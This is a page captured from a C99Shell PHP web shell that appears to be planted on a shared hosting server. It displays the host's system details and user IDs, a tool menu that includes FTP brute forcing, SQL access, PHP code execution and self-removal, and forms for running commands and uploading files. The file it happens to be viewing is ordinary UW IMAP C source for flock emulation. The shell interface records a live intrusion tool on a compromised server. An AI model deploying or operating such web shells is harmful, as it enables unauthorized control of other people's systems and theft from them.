!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/local/imap-2007f/lib/   drwxr-xr-x
Free 6182.09 GB of 6263.29 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     flockcyg.c (2.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* ========================================================================
 * Copyright 1988-2006 University of Washington
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * 
 * ========================================================================
 */

/*
 * Program:    flock emulation via fcntl() locking
 *
 * Author:    Mark Crispin
 *        Networks and Distributed Computing
 *        Computing & Communications
 *        University of Washington
 *        Administration Building, AG-44
 *        Seattle, WA  98195
 *        Internet: MRC@CAC.Washington.EDU
 *
 * Date:    10 April 2001
 * Last Edited:    30 August 2006
 */


/* Cygwin does not seem to have the design flaw in fcntl() locking that
 * most other systems do (see flocksim.c for details).  If some cretin
 * decides to implement that design flaw, then Cygwin will have to use
 * flocksim.  Also, we don't test NFS either.
 *
 * However, Cygwin does have the Windows misfeature (introduced in NT 4.0)
 * that you can not write to any segment which has a shared lock, and you
 * can't lock a zero-byte segment either.  This screws up the shared-write
 * mailbox drivers (mbx, mtx, mx, and tenex).  As a workaround, we'll only
 * lock the first byte of the file, meaning that you can't write that byte
 * shared.  It's been suggested to lock the maximum off_t type, but that
 * risks having a future version of Windows (or Cygwin) deciding that this
 * also means "no lock".
 */

#undef flock            /* name is used as a struct for fcntl */

/* Emulator for flock() call
 * Accepts: file descriptor
 *        operation bitmask
 * Returns: 0 if successful, -1 if failure under BSD conditions
 */

int flocksim (int fd,int op)
{
  char tmp[MAILTMPLEN];
  int logged = 0;
  struct flock fl;
                /* lock one bytes at byte 0 */
  fl.l_whence = SEEK_SET; fl.l_start = 0; fl.l_len = 1;
  fl.l_pid = getpid ();        /* shouldn't be necessary */
  switch (op & ~LOCK_NB) {    /* translate to fcntl() operation */
  case LOCK_EX:            /* exclusive */
    fl.l_type = F_WRLCK;
    break;
  case LOCK_SH:            /* shared */
    fl.l_type = F_RDLCK;
    break;
  case LOCK_UN:            /* unlock */
    fl.l_type = F_UNLCK;
    break;
  default:            /* default */
    errno = EINVAL;
    return -1;
  }
  while (fcntl (fd,(op & LOCK_NB) ? F_SETLK : F_SETLKW,&fl))
    if (errno != EINTR) {
      /* Can't use switch here because these error codes may resolve to the
       * same value on some systems.
       */
      if ((errno != EWOULDBLOCK) && (errno != EAGAIN) && (errno != EACCES)) {
    sprintf (tmp,"Unexpected file locking failure: %s",strerror (errno));
                /* give the user a warning of what happened */
    MM_NOTIFY (NIL,tmp,WARN);
    if (!logged++) syslog (LOG_ERR,"%s",tmp);
    if (op & LOCK_NB) return -1;
    sleep (5);        /* slow things down for loops */
      }
                /* return failure for non-blocking lock */
      else if (op & LOCK_NB) return -1;
    }
  return 0;            /* success */
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0218 ]--